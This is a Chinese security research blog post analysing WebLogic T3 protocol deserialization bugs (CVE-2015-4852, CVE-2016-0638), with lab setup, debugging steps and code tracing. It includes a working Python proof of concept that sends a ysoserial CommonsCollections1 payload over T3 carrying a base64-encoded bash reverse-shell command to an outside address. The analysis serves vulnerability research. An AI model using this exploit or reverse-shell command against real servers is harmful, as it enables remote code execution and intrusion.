Weblogic 关于T3协议和二次反序列化分析

文章转自先知社区:https://xz.aliyun.com/t/12397

作者:w0w

环境搭建

使用https://github.com/QAX-A-Team/WeblogicEnvironmentQAX的自动化搭建
参考:https://www.cnblogs.com/0x7e/p/14529949.html

(ps:ubuntu和centos,windows 感觉都不如kali来的润)
下载对应jdk和weblogic放到对应的文件夹

图片[1]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室
图片[2]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

然后就是修改Dockerfile,因为libnsl这个东西 会安装错误

图片[3]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

vim Dockerfile
RUN yum -y install libnsl删除即可 (就只搭建环境浪费了我两天时间)

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21F
图片[4]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室
图片[5]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

(垃圾),到之后从kali中提出文件的时候 会拖不到本地来……
(最后还是 windows本地搭建的,在docker中走代理)

图片[6]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室
图片[7]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

远程调试

mkdir ./middleware
mkdir -p ./coherence_3.7/lib
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

直接拉到本地

如果不想这么麻烦的话可以直接运行对于的.sh脚本,比如这里安装的是1036 jdk是7u21 ,直接运行run_weblogicjdk7u21.sh,自动安装以及自动从容器里面导出jar包。

新建一个web项目 然后
打开wlserver目录

图片[8]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室
图片[9]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

然后add library刚刚导出的coherence_3.7/libmodules
配置远程调试

图片[10]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室
图片[11]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

点击debug

图片[12]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

如此便是可以debug了
(搭环境搭了三天了………..) 开团!!!

验证环境

weblogic/wsee/jaxws/WLSServletAdapter.class的handle方法打上断点(如果查不到使用全局搜索即可)
访问http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

图片[13]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

关于T3协议

T3协议是Weblogic用于通信的独有的一个协议,Weblogic Server的RMI通信使用它在其他区的Java程序(包括 服务端,客户端,以及其他实例)传输数据。

T3协议的组成

图片[14]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

这里借一张图解释一下关于 T3协议的组成

ac ed 00 05是反序列化标志,而在 T3 协议中每个序列化数据包前面都有fe 01 00 00,所以 T3 的序列化标志为fe 01 00 00 ac ed 00 05

并且在发送T3协议的时候 还可以发送多个序列化数据 ,可以替换其中一个的序列化数据 实现反序列化攻击。
借qax的一张图解释

图片[15]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

基于T3协议的漏洞

关于T3协议 最开始的漏洞是CVE-2015-4852,随后都是绕过官方的补丁例如:CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

CVE-2015-4852

在weblogic收到T3协议的时候
会在weblogic/rjvm/InboundMsgAbbrev.class类中进行反序列化操作的处理

图片[16]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

这里重写了readObject
调用了ServerChannelInputStream

图片[17]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

ServerChannelInputStream中 重写了resolveClass但是其最终还是调用了父类的resolveClass

图片[18]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室
图片[19]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

简单点说就是 ,resolveClass方法把类的序列化描述加工成该类的Class对象,所以这里也就是入口点
没有任何过滤的调用resolveClass ,可以加载恶意的Class对象
这里放入resolveClass的源码

图片[20]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

debug分析

POC:

from os import popen
import struct  # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii


def generatePayload(gadget, cmd):
    YSO_PATH = "./ysoserial-all.jar"
    popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
    return popen.stdout.read()


def T3Exploit(ip, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    data += sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    print(data.decode())
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: " + "".join(match))
    else:
        print("Not Weblogic")
        return
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(
        b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header + desflag + payload
    payload = struct.pack(">I", len(payload)) + payload[4:]
    sock.send(payload)


if __name__ == "__main__":
    ip = "127.0.0.1"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2O**yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"
    payload = generatePayload(gadget, cmd)
    T3Exploit(ip, port, payload)

var1是我们输入的序列化数据

图片[21]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

中间的一系列调用省略 直接到resolveClass类中

图片[22]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

这里的var1是AnnotationInvocationHandler,就直接到了cc1的起点

图片[23]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

调用getName方法获取类名,之后通过Class.forName方法获取对应的类,因为这里的resolveClass方法是直接使用的父类的该方法,并没有做出任何的安全过滤操作,所以能够实例化任意类
之后的利用T3协议反序列化的都是和黑名单、白名单斗智斗勇的

CVE-2016-0638

这个cve即是绕过2015补丁的也是一个二次反序列化的实例

关于Externalizable

图片[24]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

weblogic/jms/common/StreamMessageImpl

图片[25]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

可以看到调用了一次readExternal,又调用了一次readObject两次反序列化
这里我们跟进createPayload方法

图片[26]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

readInt()读取 输入数据的长度,var0为输入数据

图片[27]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

Math.min(var1, Chunk.CHUNK_SIZE * 2)取出chunk长度中较小的一位

图片[28]-Weblogic 关于T3协议和二次反序列化分析-NGC660 安全实验室

将我们的读取到的chunk进行反序列化,重写writeExternal()方法,将需要二次反序列化的数据写入,再次进行序列化即可。ref:https://www.anquanke.com/post/id/250801#h3-8

ref

https://www.cnblogs.com/nice0e3/p/14201884.html 
https://xz.aliyun.com/t/11078 
https://www.freebuf.com/vuls/351801.html

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布:https://www.secpulse.com/archives/199253.html

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享